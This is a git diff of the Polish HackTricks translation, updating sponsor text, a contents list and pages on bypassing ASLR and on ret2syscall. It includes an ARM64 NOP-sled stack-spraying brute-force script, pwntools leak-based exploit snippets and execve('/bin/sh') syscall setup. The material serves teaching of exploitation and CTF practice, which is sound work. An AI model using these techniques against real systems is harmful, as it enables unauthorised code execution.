Translated ['README.md', 'binary-exploitation/common-binary-protections-
BIN
.gitbook/assets/image (1202).png
Normal file
After Width: | Height: | Size: 599 KiB |
BIN
.gitbook/assets/image (1203).png
Normal file
After Width: | Height: | Size: 248 KiB |
BIN
.gitbook/assets/image (1204).png
Normal file
After Width: | Height: | Size: 220 KiB |
BIN
.gitbook/assets/image (1205).png
Normal file
After Width: | Height: | Size: 131 KiB |
BIN
.gitbook/assets/image (1206).png
Normal file
After Width: | Height: | Size: 124 KiB |
BIN
.gitbook/assets/image (1207).png
Normal file
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1208).png
Normal file
After Width: | Height: | Size: 94 KiB |
BIN
.gitbook/assets/image (1209).png
Normal file
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1210).png
Normal file
After Width: | Height: | Size: 238 KiB |
BIN
.gitbook/assets/image (1211).png
Normal file
After Width: | Height: | Size: 218 KiB |
26
README.md
|
@ -20,7 +20,7 @@ Aby zacząć, przejdź do tej strony, gdzie znajdziesz **typowy przepływ**, kt
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) to doskonała firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
|
||||
[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
|
||||
|
||||
Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
|
|||
|
||||
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -69,8 +69,8 @@ Zdobądź dostęp już dziś:
|
|||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty!
|
||||
|
||||
* **Wgląd w Hacking:** Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom w czasie rzeczywistym
|
||||
* **Wgląd w Hacking:** Zaangażuj się w treści dotyczące emocji i wyzwań związanych z hakingiem
|
||||
* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakingu dzięki aktualnościom i wglądom w czasie rzeczywistym
|
||||
* **Najnowsze Ogłoszenia:** Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
@ -81,7 +81,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.
|
||||
**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się głębiej, przejmowanie powłok i dobrą zabawę.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -93,8 +93,8 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Scrapują one wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
|
||||
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
|
||||
W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy w linii, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i inne.\
|
||||
W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy wstawione, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
|
||||
Aktualni klienci SerpApi to **Apple, Shopify i GrubHub**.\
|
||||
Aby uzyskać więcej informacji, sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**placu zabaw**](https://serpapi.com/playground)**.**\
|
||||
|
@ -112,17 +112,17 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\
|
|||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma cyberbezpieczeństwa z siedzibą w **Amsterdamie**, która pomaga **chronić** przedsiębiorstwa **na całym świecie** przed najnowszymi zagrożeniami cyberbezpieczeństwa, świadcząc usługi **bezpieczeństwa ofensywnego** w nowoczesny sposób.
|
||||
|
||||
WebSec to firma **wszystko w jednym z zakresu bezpieczeństwa**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
|
||||
WebSec to firma **wszystko w jednym**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
|
||||
|
||||
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdza na ich stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
|
||||
Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
## Licencja i Oświadczenie
|
||||
|
||||
Sprawdź je tutaj:
|
||||
|
@ -141,6 +141,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -689,10 +689,12 @@
|
|||
* [Exploiting Tools](binary-exploitation/basic-binary-exploitation-methodology/tools/README.md)
|
||||
* [PwnTools](binary-exploitation/basic-binary-exploitation-methodology/tools/pwntools.md)
|
||||
* [Stack Overflow](binary-exploitation/stack-overflow/README.md)
|
||||
* [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode.md)
|
||||
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Pointer Redirecting](binary-exploitation/stack-overflow/pointer-redirecting.md)
|
||||
* [Ret2win](binary-exploitation/stack-overflow/ret2win.md)
|
||||
* [Ret2win](binary-exploitation/stack-overflow/ret2win/README.md)
|
||||
* [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
|
||||
* [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md)
|
||||
* [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych przez atakującego, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
|
||||
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego przemieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
|
||||
|
||||
### **Sprawdzanie stanu ASLR**
|
||||
|
||||
|
@ -43,19 +43,19 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **Włączanie ASLR**
|
||||
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Trwałość po ponownym uruchomieniu**
|
||||
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby uczynić zmianę trwałą, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linijkę:
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Po edycji pliku `/etc/sysctl.conf` zastosuj zmiany za pomocą:
|
||||
Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
|
@ -69,9 +69,9 @@ PaX dzieli przestrzeń adresową procesu na **3 grupy**:
|
|||
|
||||
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
|
||||
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, efektywnie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednak faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
|
||||
|
||||
Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na obejście ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
|
||||
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
|
||||
|
||||
#### Pomysły na brutalne narzucanie:
|
||||
|
||||
|
@ -81,24 +81,93 @@ Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia po
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemocować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemęczyć adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
|
||||
|
||||
{% hint style="success" %}
|
||||
W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
|
||||
W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.
|
||||
{% endhint %}
|
||||
|
||||
### Przemęczanie stosu 64 bitów
|
||||
|
||||
Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.\
|
||||
Poniższy kod pokazuje, jak można **wybrać adres na stosie** i co **kilka setek wykonania** ten adres będzie zawierał instrukcję **NOP**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
import traceback
|
||||
|
||||
# Start the process
|
||||
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
||||
n_nops = int(128000/4)
|
||||
shellcode_env_var = nop * n_nops
|
||||
|
||||
# Define the environment variables you want to set
|
||||
env_vars = {
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
}
|
||||
|
||||
cont = 0
|
||||
while True:
|
||||
cont += 1
|
||||
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Lokalne informacje (`/proc/[pid]/stat`)
|
||||
|
||||
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
|
||||
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje takie jak:
|
||||
|
||||
* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
|
||||
* **startstack**: Adres początku **stosu**
|
||||
* **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
|
||||
* **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
|
||||
* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
|
||||
* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
|
||||
- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
|
||||
- **startstack**: Adres początku **stosu**
|
||||
- **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
|
||||
- **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
|
||||
- **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
|
||||
- **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
|
||||
|
||||
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie niektórych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
|
||||
Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
|
||||
|
@ -106,9 +175,9 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/
|
|||
|
||||
### Posiadanie wycieku
|
||||
|
||||
* **Wyzwaniem jest dostarczenie wycieku**
|
||||
- **Wyzwaniem jest dostarczenie wycieku**
|
||||
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę dla więcej szczegółów):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -143,7 +212,7 @@ Wykorzystując przepełnienie bufora, można wykorzystać **ret2plt** do wycieku
|
|||
|
||||
* **Format Strings Arbitrary Read**
|
||||
|
||||
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
@ -170,8 +239,8 @@ Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
|
|||
|
||||
### vsyscall
|
||||
|
||||
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
|
||||
Jednakże nie znajdziesz tu super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
|
||||
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
|
||||
Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
|
||||
|
||||
(Poniższy przykład i kod pochodzi [**z tego opisu**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
|
@ -218,14 +287,14 @@ gef➤ x/4i 0xffffffffff600800
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla.
|
||||
|
||||
Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja:
|
||||
|
||||
|
@ -28,7 +28,7 @@ Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfigura
|
|||
Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
|
||||
|
||||
{% hint style="success" %}
|
||||
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
|
||||
